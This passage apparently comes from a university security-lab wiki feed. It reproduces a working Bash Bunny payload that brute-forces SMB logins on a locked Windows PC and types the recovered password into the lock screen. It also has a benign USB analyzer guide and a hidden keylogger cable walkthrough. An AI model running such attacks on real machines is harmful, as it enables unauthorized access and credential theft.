A detailed description oft these LED states can be found [https://docs.hak5.org/bash-bunny/writing-payloads/led here].&lt;br /&gt;
&lt;br /&gt;
=== Payload ===&lt;br /&gt;
&lt;br /&gt;
This payload uses Metasploit for the exploit. Therefore, as already mentioned above, the Metasploit-Framework is needed. The framework uses the &#039;&#039;&#039;auxiliary/scanner/smb/smb_login&#039;&#039;&#039; module for the exploit. &lt;br /&gt;
&lt;br /&gt;
=== Exploit overview === &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Name:&#039;&#039;&#039; SMB Login Check Scanner&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Module:&#039;&#039;&#039; auxiliary/scanner/smb/smb_login&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Source code:&#039;&#039;&#039; modules/auxiliary/scanner/smb/smb_login.rb&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclosure date:&#039;&#039;&#039; -&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Last modification time:&#039;&#039;&#039; 2021-08-31 17:10:07 +0000&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Supported architecture(s):&#039;&#039;&#039; -&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Supported platform(s):&#039;&#039;&#039; -&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Target service / protocol:&#039;&#039;&#039; microsoft-ds, netbios-ssn&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Target network port(s):&#039;&#039;&#039; 139, 445&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;List of CVEs:&#039;&#039;&#039; CVE-1999-0506&lt;br /&gt;
&lt;br /&gt;
This module will test a SMB login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.&lt;br /&gt;
&lt;br /&gt;
Therefore, the firewall of the target PC needs to have port 445 (inbound traffic) opened. &lt;br /&gt;
&lt;br /&gt;
=== How do you enable port 445? ===&lt;br /&gt;
&lt;br /&gt;
Go Start &amp;gt; Control Panel &amp;gt; Windows Firewall and find Advanced settings on the left side. 2. Click Inbound Rules &amp;gt; New rule. Then in the pop-up window, choose Port &amp;gt; Next &amp;gt;TCP &amp;gt; Specific local ports and type 445 and go Next. Create the rule.&lt;br /&gt;
&lt;br /&gt;
Otherwise, you “network inaccessible” error, illustrate by a blinking red LED at the Bash Bunny.&lt;br /&gt;
&lt;br /&gt;
== Payload Preperation ==&lt;br /&gt;
&lt;br /&gt;
=== payload.txt ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
#&lt;br /&gt;
# Title: Jackalope&lt;br /&gt;
# Author: catatonic&lt;br /&gt;
# Version: 1.1.0&lt;br /&gt;
&lt;br /&gt;
# Check readiness &amp;amp; prepare environment&lt;br /&gt;
LED SETUP&lt;br /&gt;
&lt;br /&gt;
REQUIRETOOL metasploit-framework&lt;br /&gt;
ATTACKMODE HID RNDIS_ETHERNET&lt;br /&gt;
&lt;br /&gt;
# Ensure loot is available for recording results.&lt;br /&gt;
mount /dev/nandf /root/udisk/&lt;br /&gt;
&lt;br /&gt;
ORIGINAL_SWITCH=$SWITCH_POSITION&lt;br /&gt;
PAYLOAD_DIR=/root/udisk/payloads/$SWITCH_POSITION&lt;br /&gt;
LOOTBASE=/root/udisk/loot/Jackalope/&lt;br /&gt;
&lt;br /&gt;
# SETUP&lt;br /&gt;
GET TARGET_IP&lt;br /&gt;
GET TARGET_HOSTNAME&lt;br /&gt;
&lt;br /&gt;
COUNT=$(ls -lad $LOOTBASE/$TARGET_HOSTNAME* | wc -l)&lt;br /&gt;
COUNT=$((COUNT+1))&lt;br /&gt;
LOOTDIR=$LOOTBASE/$TARGET_HOSTNAME-$COUNT&lt;br /&gt;
mkdir -p $LOOTDIR&lt;br /&gt;
&lt;br /&gt;
MSF_DIR=/tools/metasploit-framework&lt;br /&gt;
&lt;br /&gt;
# Save environment informaiton:&lt;br /&gt;
echo &amp;quot;PAYLOAD_DIR: $PAYLOAD_DIR&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
echo &amp;quot;MSF_DIR: $MSF_DIR&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
echo &amp;quot;LOOTDIR: $LOOTDIR&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
echo &amp;quot;TARGET_IP: $TARGET_IP&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
echo &amp;quot;TARGET_HOSTNAME: $TARGET_HOSTNAME&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
&lt;br /&gt;
SYNC ()&lt;br /&gt;
{&lt;br /&gt;
	sync; sleep 1; sync&lt;br /&gt;
}&lt;br /&gt;
CLEAR_PW()&lt;br /&gt;
{&lt;br /&gt;
	LED SPECIAL&lt;br /&gt;
	rm $PAYLOAD_DIR/quack_pass.txt&lt;br /&gt;
	SYNC&lt;br /&gt;
	WAIT&lt;br /&gt;
}&lt;br /&gt;
ENTER_PW()&lt;br /&gt;
{&lt;br /&gt;
	sleep 1&lt;br /&gt;
	QUACK $ORIGINAL_SWITCH/quack_pass.txt&lt;br /&gt;
	QUACK ENTER&lt;br /&gt;
}&lt;br /&gt;
RECON()&lt;br /&gt;
{&lt;br /&gt;
	ATTACKMODE RNDIS_ETHERNET&lt;br /&gt;
	# Stage 1: Recon&lt;br /&gt;
	LED STAGE1&lt;br /&gt;
	echo &amp;quot;Executing nmap...&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
	nmap -p 445 -Pn $TARGET_IP &amp;gt; $LOOTDIR/nmap_results.txt&lt;br /&gt;
	if ! grep --quiet &amp;quot;445.*open&amp;quot; $LOOTDIR/nmap_results.txt;&lt;br /&gt;
	then&lt;br /&gt;
		LED FAIL2&lt;br /&gt;
		SYNC&lt;br /&gt;
		exit&lt;br /&gt;
	fi&lt;br /&gt;
}&lt;br /&gt;
EXPLOIT()&lt;br /&gt;
{&lt;br /&gt;
	# Stage 2: Exploit&lt;br /&gt;
	LED STAGE2&lt;br /&gt;
	export HOME=/root&lt;br /&gt;
	cd $MSF_DIR&lt;br /&gt;
	./msfconsole -q -x &amp;quot;use auxiliary/scanner/smb/smb_login; set RHOSTS $TARGET_IP; set USER_FILE $PAYLOAD_DIR/userlist.txt; set PASS_FILE $PAYLOAD_DIR/wordlist.txt; run; exit&amp;quot; &amp;gt; $LOOTDIR/msfconsole.txt&lt;br /&gt;
&lt;br /&gt;
	if ! grep --quiet &amp;quot;^\[+\]&amp;quot; $LOOTDIR/msfconsole.txt;&lt;br /&gt;
	then&lt;br /&gt;
		LED FAIL&lt;br /&gt;
		echo &amp;quot;Payload failed, no logins found...&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
		SYNC&lt;br /&gt;
		exit&lt;br /&gt;
	fi&lt;br /&gt;
&lt;br /&gt;
	grep &amp;quot;^\[+\]&amp;quot; $LOOTDIR/msfconsole.txt  | grep -o \&#039;.*\&#039; | cut -d &#039;:&#039; -f 1 | cut -d &amp;quot;&#039;&amp;quot; -f 2 &amp;gt; $LOOTDIR/user.txt&lt;br /&gt;
	grep &amp;quot;^\[+\]&amp;quot; $LOOTDIR/msfconsole.txt  | grep -o \&#039;.*\&#039; | cut -d &#039;:&#039; -f 2 | cut -d &amp;quot;&#039;&amp;quot; -f 1 &amp;gt; $LOOTDIR/password.txt&lt;br /&gt;
&lt;br /&gt;
	# Focus needs to be set on the password field manually.&lt;br /&gt;
	echo -n &amp;quot;STRING &amp;quot; &amp;gt; $PAYLOAD_DIR/quack_pass.txt&lt;br /&gt;
	cat $LOOTDIR/password.txt &amp;gt;&amp;gt; $PAYLOAD_DIR/quack_pass.txt&lt;br /&gt;
&lt;br /&gt;
	SYNC&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# High level view.&lt;br /&gt;
while true&lt;br /&gt;
do&lt;br /&gt;
	if [ -f $PAYLOAD_DIR/quack_pass.txt ];&lt;br /&gt;
	then&lt;br /&gt;
		LED FINISH&lt;br /&gt;
	else&lt;br /&gt;
		RECON&lt;br /&gt;
		EXPLOIT&lt;br /&gt;
		continue&lt;br /&gt;
	fi&lt;br /&gt;
&lt;br /&gt;
	WAIT&lt;br /&gt;
&lt;br /&gt;
	# User&#039;s choice, clear old password or enter password.&lt;br /&gt;
	if [ &amp;quot;$SWITCH_POSITION&amp;quot; == &amp;quot;switch3&amp;quot; ];&lt;br /&gt;
	then&lt;br /&gt;
		CLEAR_PW&lt;br /&gt;
	else&lt;br /&gt;
		ENTER_PW&lt;br /&gt;
	fi&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== userlist.txt === &lt;br /&gt;
&lt;br /&gt;
Add here the usernames you want to attack on the target host, like for example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Administrator&lt;br /&gt;
Willi&lt;br /&gt;
Gast&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== wordlist.txt === &lt;br /&gt;
&lt;br /&gt;
Add here the some common used passwords, which will be used to bruteforce the target host. For example: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;123456&lt;br /&gt;
password&lt;br /&gt;
12345678&lt;br /&gt;
qwerty&lt;br /&gt;
123456789&lt;br /&gt;
12345&lt;br /&gt;
1234&lt;br /&gt;
111111&lt;br /&gt;
1234567&lt;br /&gt;
dragon&lt;br /&gt;
123123&lt;br /&gt;
baseball&lt;br /&gt;
abc123&lt;br /&gt;
football&lt;br /&gt;
monkey&lt;br /&gt;
letmein&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Execution ==&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1. Plug the configured Bash Bunny in the Windows target machine. The target machine’s screen should be locked, and the Bash Bunny’s button should be placed also correctly, depending on which switch you configured the payload (switch1 or switch2).&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;2. Bash Bunny’s LED lights purple until the execution of the payload. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;3. While attacking the LED will blink in a yellow colour. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;4. When Bash Bunny was successful, the LED will light green. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;5. You will have then the two possibilities as already mentioned in the Description section. Do it manually or toggle the button to put in the password automatically into the password phrase.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;6. After toggling the screen should lock up. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
&lt;br /&gt;
In Bash Bunnys “loot”-folder the output of the attack could be found after the attack. &lt;br /&gt;
Following files can be found: &lt;br /&gt;
&lt;br /&gt;
* log.txt --&amp;gt; Can be used for troubleshooting/debugging. &lt;br /&gt;
* msfconsole.txt --&amp;gt; The non- and matching events of users to passwords on target host will displayed in this textfile.&lt;br /&gt;
* nmap_ results.txt --&amp;gt; Here the output of the nmap-scan is shown.&lt;br /&gt;
* password.txt --&amp;gt; All matching passwords are saved in this text file.&lt;br /&gt;
* user.txt --&amp;gt; All matching users are saved in this text file.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/Jackalope&lt;br /&gt;
* https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/scanner/smb/smb_login&lt;br /&gt;
* https://frameboxxindore.com/windows/you-asked-how-do-i-open-port-445-on-windows-10.html&lt;br /&gt;
* https://support.microsoft.com/en-us/windows/turn-off-defender-antivirus-protection-in-windows-security-99e6004f-c54c-8509-773c-a4d776b77960&lt;br /&gt;
* https://wiki.bashbunny.com/#!index.md#Tools&lt;br /&gt;
* https://docs.hak5.org/bash-bunny/writing-payloads/led&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:BashBunny_status.PNG&amp;diff=10207</id>
		<title>File:BashBunny status.PNG</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:BashBunny_status.PNG&amp;diff=10207"/>
		<updated>2022-06-28T17:03:58Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Beagle_USB_12_Protocol_Analyzer:_Test&amp;diff=10206</id>
		<title>Beagle USB 12 Protocol Analyzer: Test</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Beagle_USB_12_Protocol_Analyzer:_Test&amp;diff=10206"/>
		<updated>2022-06-28T15:23:46Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The Beagle USB 12 Protocol Analyzer is a nice tool to setup it quick and ease and allows engineers to debug problems quickly. You can capture, display and filter high-, full- and low-speed USB traffic in real time. &lt;br /&gt;
&lt;br /&gt;
[[File:Beagle_Analyzer_Front.jpg|400px|thumb|none|Beagle USB 12 Protocol Analyzer]]&lt;br /&gt;
&lt;br /&gt;
In the front of the analyzer there are the target host and target device ports. &lt;br /&gt;
They act as a passthrough to connect the target device to the host computer. &lt;br /&gt;
&lt;br /&gt;
[[File:Beagle Back.jpg|400px|thumb|none|Beagle USB 12 Protocol Analyzer]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
To be able to monitor the USB traffic you will need a software that captures and displays USB, USB Type-C Power Delivery, I2C, SPI, eSPI and CAN bus data through the Beagle. To download it from the Totalphase website you will need to create an account. This does not come with any subscription or cost factor.&lt;br /&gt;
You can [https://www.totalphase.com/products/data-center/?___ Download] the Data Center Software for following architectures:&lt;br /&gt;
&lt;br /&gt;
* Windows&lt;br /&gt;
* Linux&lt;br /&gt;
* MacOS&lt;br /&gt;
&lt;br /&gt;
If you are using a Windows or a Linux host, it is also important to download the appropriate drivers since without them Windows will not recognize the analyzer:&lt;br /&gt;
&lt;br /&gt;
* Windows [https://www.totalphase.com/products/usb-drivers-windows/ (here)]&lt;br /&gt;
* Linux [https://www.totalphase.com/products/usb-drivers-linux/ (here)]&lt;br /&gt;
&lt;br /&gt;
MacOS do not require any driver.&lt;br /&gt;
For more details like, key features, technical specifications or software requirements follow this [https://www.totalphase.com/products/beagle-usb12/ link].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
With the type B USB cable connect the target host port at the front of the analyzer with your PCs USB port type A. &lt;br /&gt;
The analyzis port at the backside of the analyzer is connected with another type B USB connector to your PCs USB port type A.&lt;br /&gt;
Lastly you can then plug in your target device into the USB port type A of the analyzer. &lt;br /&gt;
&lt;br /&gt;
=== Hands-On ===&lt;br /&gt;
&lt;br /&gt;
To capture traffic, click in the top toolbar at “Analyzer” and then on “Connect to Analyzer”. Confirm that the correct device is selected and click “OK”. &lt;br /&gt;
&lt;br /&gt;
[[File:Connect to Analyzer.png|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
You can then connect the USB target device (for example a mouse) to the analyzer. After clicking on the play-button, we should then see all the packet data in real-time.&lt;br /&gt;
&lt;br /&gt;
[[File:Data Center Capture 1.png|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
We can see that some interesting parameters like speed, timestamp, endpoint address and the actual data were captured. The captured data has been decoded into human readable messages.&lt;br /&gt;
At the beginning we can see the handshake between the computer and the connected device. &lt;br /&gt;
We can double-click on any packet to see the low-level data and the corresponding details, which are shown in hexadecimal and ASCII. A mouse click is symbolized by a field named “Btns=[1]”.&lt;br /&gt;
&lt;br /&gt;
[[File:Data Center Capture 2.png|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
It should be now possible to click on the bottom of the Navigator at “LiveFilter” to filter for those events. This should be possible by entering “btns=[1]” in the text field. Apply the filter and all “click”-mouse events are shown. This should be possible for every kind of patterns, endpoint addresses, and more. &lt;br /&gt;
&lt;br /&gt;
[[File:Data Center Capture 3.png|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
By turning off scrolling and disabling the filter, we can see all the data that occurred before and after the events. &lt;br /&gt;
You can also connect a USB hub to the analyzer and plug in multiple USB devices. All devices with their assigned addresses will be shown under the navigator in the Data Center software.&lt;br /&gt;
&lt;br /&gt;
[[File:Data Center Capture 4.png|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
You can also find a lot of already captured examples under “Help”, “Examples”:&lt;br /&gt;
&lt;br /&gt;
[[File:Data Center Example Captures.png|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
The protocol analyzer can therefore be very helpful for debugging errors or for forensic analysis, for example.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.totalphase.com&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Beagle_USB_12_Protocol_Analyzer:_Test&amp;diff=10205</id>
		<title>Beagle USB 12 Protocol Analyzer: Test</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Beagle_USB_12_Protocol_Analyzer:_Test&amp;diff=10205"/>
		<updated>2022-06-28T15:22:59Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The Beagle USB 12 Protocol Analyzer is a nice tool to setup it quick and ease and allows engineers to debug problems quickly. You can capture, display and filter high-, full- and low-speed USB traffic in real time. &lt;br /&gt;
&lt;br /&gt;
[[File:Beagle_Analyzer_Front.jpg|400px|thumb|none|Beagle USB 12 Protocol Analyzer]]&lt;br /&gt;
&lt;br /&gt;
In the front of the analyzer there are the target host and target device ports. &lt;br /&gt;
They act as a passthrough to connect the target device to the host computer. &lt;br /&gt;
&lt;br /&gt;
[[File:Beagle Back.jpg|400px|thumb|none|Beagle USB 12 Protocol Analyzer]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
To be able to monitor the USB traffic you will need a software that captures and displays USB, USB Type-C Power Delivery, I2C, SPI, eSPI and CAN bus data through the Beagle. To download it from the Totalphase website you will need to create an account. This does not come with any subscription or cost factor.&lt;br /&gt;
You can [https://www.totalphase.com/products/data-center/?___ Download] the Data Center Software for following architectures:&lt;br /&gt;
&lt;br /&gt;
* Windows&lt;br /&gt;
* Linux&lt;br /&gt;
* MacOS&lt;br /&gt;
&lt;br /&gt;
If you are using a Windows or a Linux host, it is also important to download the appropriate drivers since without them Windows will not recognize the analyzer:&lt;br /&gt;
&lt;br /&gt;
* Windows [https://www.totalphase.com/products/usb-drivers-windows/ (here)]&lt;br /&gt;
* Linux [https://www.totalphase.com/products/usb-drivers-linux/ (here)]&lt;br /&gt;
&lt;br /&gt;
MacOS do not require any driver.&lt;br /&gt;
For more details like, key features, technical specifications or software requirements follow this [https://www.totalphase.com/products/beagle-usb12/ link].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
With the type B USB cable connect the target host port at the front of the analyzer with your PCs USB port type A. &lt;br /&gt;
The analyzis port at the backside of the analyzer is connected with another type B USB connector to your PCs USB port type A.&lt;br /&gt;
Lastly you can then plug in your target device into the USB port type A of the analyzer. &lt;br /&gt;
&lt;br /&gt;
=== Hands-On ===&lt;br /&gt;
&lt;br /&gt;
To capture traffic, click in the top toolbar at “Analyzer” and then on “Connect to Analyzer”. Confirm that the correct device is selected and click “OK”. &lt;br /&gt;
&lt;br /&gt;
[[File:Connect to Analyzer.png|800px|thumb|center|]]&lt;br /&gt;
&lt;br /&gt;
You can then connect the USB target device (for example a mouse) to the analyzer. After clicking on the play-button, we should then see all the packet data in real-time.&lt;br /&gt;
&lt;br /&gt;
[[File:Data Center Capture 1.png|800px|thumb|center|]]&lt;br /&gt;
&lt;br /&gt;
We can see that some interesting parameters like speed, timestamp, endpoint address and the actual data were captured. The captured data has been decoded into human readable messages.&lt;br /&gt;
At the beginning we can see the handshake between the computer and the connected device. &lt;br /&gt;
We can double-click on any packet to see the low-level data and the corresponding details, which are shown in hexadecimal and ASCII. A mouse click is symbolized by a field named “Btns=[1]”.&lt;br /&gt;
&lt;br /&gt;
[[File:Data Center Capture 2.png|800px|thumb|center|]]&lt;br /&gt;
&lt;br /&gt;
It should be now possible to click on the bottom of the Navigator at “LiveFilter” to filter for those events. This should be possible by entering “btns=[1]” in the text field. Apply the filter and all “click”-mouse events are shown. This should be possible for every kind of patterns, endpoint addresses, and more. &lt;br /&gt;
&lt;br /&gt;
[[File:Data Center Capture 3.png|800px|thumb|center|]]&lt;br /&gt;
&lt;br /&gt;
By turning off scrolling and disabling the filter, we can see all the data that occurred before and after the events. &lt;br /&gt;
You can also connect a USB hub to the analyzer and plug in multiple USB devices. All devices with their assigned addresses will be shown under the navigator in the Data Center software.&lt;br /&gt;
&lt;br /&gt;
[[File:Data Center Capture 4.png|800px|thumb|center|]]&lt;br /&gt;
&lt;br /&gt;
You can also find a lot of already captured examples under “Help”, “Examples”:&lt;br /&gt;
&lt;br /&gt;
[[File:Data Center Example Captures.png|800px|thumb|center|]]&lt;br /&gt;
&lt;br /&gt;
The protocol analyzer can therefore be very helpful for debugging errors or for forensic analysis, for example.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.totalphase.com&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=AirDrive_Forensic_Keylogger_Cable&amp;diff=10204</id>
		<title>AirDrive Forensic Keylogger Cable</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=AirDrive_Forensic_Keylogger_Cable&amp;diff=10204"/>
		<updated>2022-06-28T15:21:02Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:AirDrive Forensic Keylogger Cable.PNG|250px|thumb|right|AirDrive Forensic Keylogger Cable]]&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
&lt;br /&gt;
This keylogger is one with WiFi access and a minimized risk of detection. The USB keylogger module is hidden in a USB extension cable. Externally, the USB cable does not differ from conventional cables.&lt;br /&gt;
&lt;br /&gt;
The AirDrive Forensic Keylogger Module which was built into the cable is an ultra-small USB keylogger module designed for installation in a USB keyboard.  The small size makes it easy to install in any USB keyboard. This is available as standard and pro version. &lt;br /&gt;
Exact information can be found [https://www.keelog.com/de/forensic-keylogger/ here]. A video with detailed installation instructions can be found [https://www.youtube.com/watch?v=7AUssrySD2I here].&lt;br /&gt;
&lt;br /&gt;
[[File:AirDrive Forensic Keylogger Module.PNG|250px|thumb|right|AirDrive Forensic Keylogger Module]]&lt;br /&gt;
&lt;br /&gt;
== Characteristics ==&lt;br /&gt;
&lt;br /&gt;
* Stores input from any USB keyboard&lt;br /&gt;
* 16MB internal flash memory&lt;br /&gt;
* Undetectable by security software&lt;br /&gt;
* Supports over 40 national keyboard layouts&lt;br /&gt;
* Compatible with barcode readers&lt;br /&gt;
* Works as a wireless Wi-Fi hotspot&lt;br /&gt;
* Connect from any computer, smartphone or tablet&lt;br /&gt;
* Data access via web browser&lt;br /&gt;
* Remote data retrieval without touching the device&lt;br /&gt;
* Supports WEP, WPA and WPA-2 network security&lt;br /&gt;
* Memory secured by hardware encryption&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
The AirDrive cable acts as a Wi-Fi hotspot. This means that the cable can establish a Wi-Fi connection with any Wi-Fi device (smartphone, tablet or laptop). The selected Wi-Fi device can then connect to the interface with the data protocol. There, there is the possibility to set configurations, such as the WLAN settings of the WLAN access point and the options for logging the keyboard strokes. Over 40 national keyboard layouts, including the world&#039;s most popular languages and keyboard layouts, are supported. Installation requires no additional software or drivers.&lt;br /&gt;
&lt;br /&gt;
=== Hands-On ===&lt;br /&gt;
&lt;br /&gt;
1.	Connect the USB keylogger cable to the external keyboard and the target host. 2.&lt;br /&gt;
&lt;br /&gt;
2.	Connect your smartphone, tablet or computer to the Wi-Fi network &amp;quot;AIR_XXYYZZ&amp;quot;, where &amp;quot;XXYYZZ&amp;quot; is the device ID of the USB cable. 3.&lt;br /&gt;
&lt;br /&gt;
3.	You can then use any web browser to access the interface under the IP &amp;quot;192.168.4.1&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[File:Webinterface 1.PNG|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
4.	Open the settings to configure the keylogger cable. Various configurations can be made there:&lt;br /&gt;
&lt;br /&gt;
[[File:Webinterface 2.PNG|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
[[File:Webinterface 3.PNG|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
[[File:Webinterface 4.PNG|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
To apply the settings, click on &amp;quot;Save data logging settings&amp;quot; and/or on “Save Access Point settings”.&lt;br /&gt;
&lt;br /&gt;
5.	Since this is not a &amp;quot;Pro&amp;quot; device, there are no advanced settings available. Features like an internet connection via the access point, timestamps, reporting via email and data streaming can be set via this sub-menu.&lt;br /&gt;
&lt;br /&gt;
6.	However, we can download the &amp;quot;Data Log&amp;quot; under the &amp;quot;Download&amp;quot; button, which can be several pages long.&lt;br /&gt;
&lt;br /&gt;
7.	With a click on &amp;quot;Data Log&amp;quot; we can observe what is typed on the external keyboard.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Example of a Data Log&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the following you can see a screenshot of a typical user logon process on the portal of the FH Campus Wien.&lt;br /&gt;
&lt;br /&gt;
[[File:Webinterface 5.PNG|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
=== Important Legal Notice [1] ===&lt;br /&gt;
&lt;br /&gt;
The usage of a keylogger is fully legal as long as a clear notice is displayed, informing the user of the monitored equipment about the presence of a keystroke logger. We encourage the use of this equipment only for the purpose of monitoring your own computer, especially for protecting children against online hazards. It is NOT LEGAL to use a keylogger for the purpose of intercepting third party data, especially passwords, banking data, confidential correspondence, etc. If in doubt, please seek legal advice before using a keystroke logger. A good starting point is the U.S. Department of Justice Letter on Keystroke Monitoring and Login Banners, according to which a clear notice should be displayed, warning that user keystrokes may be logged.&lt;br /&gt;
&lt;br /&gt;
[[File:This PC is monitored.PNG|300px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.keelog.com/de/forensic-keylogger/&lt;br /&gt;
* https://www.keelog.com/airdrive-keylogger-max-premium-usb-hardware-keylogger-with-wifi-and-flash-email-and-live-data-transfer/&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=AirDrive_Forensic_Keylogger_Cable&amp;diff=10203</id>
		<title>AirDrive Forensic Keylogger Cable</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=AirDrive_Forensic_Keylogger_Cable&amp;diff=10203"/>
		<updated>2022-06-28T15:20:27Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: Created page with &amp;quot;AirDrive Forensic Keylogger Cable  == Summary ==   This keylogger is one with WiFi access and a minimized risk of detection. The USB keylogger module is hidden in a USB extension cable. Externally, the USB cable does not differ from conventional cables.  The AirDrive Forensic Keylogger Module which was built into the cable is an ultra-small USB keylogger module designed for installation in a USB keyboard....&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:AirDrive Forensic Keylogger Cable.PNG|250px|thumb|right|AirDrive Forensic Keylogger Cable]]&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
&lt;br /&gt;
This keylogger is one with WiFi access and a minimized risk of detection. The USB keylogger module is hidden in a USB extension cable. Externally, the USB cable does not differ from conventional cables.&lt;br /&gt;
&lt;br /&gt;
The AirDrive Forensic Keylogger Module which was built into the cable is an ultra-small USB keylogger module designed for installation in a USB keyboard.  The small size makes it easy to install in any USB keyboard. This is available as standard and pro version. &lt;br /&gt;
Exact information can be found [https://www.keelog.com/de/forensic-keylogger/ here]. A video with detailed installation instructions can be found [https://www.youtube.com/watch?v=7AUssrySD2I here].&lt;br /&gt;
&lt;br /&gt;
[[File:AirDrive Forensic Keylogger Module.PNG|250px|thumb|right|AirDrive Forensic Keylogger Module]]&lt;br /&gt;
&lt;br /&gt;
== Characteristics ==&lt;br /&gt;
&lt;br /&gt;
* Stores input from any USB keyboard&lt;br /&gt;
* 16MB internal flash memory&lt;br /&gt;
* Undetectable by security software&lt;br /&gt;
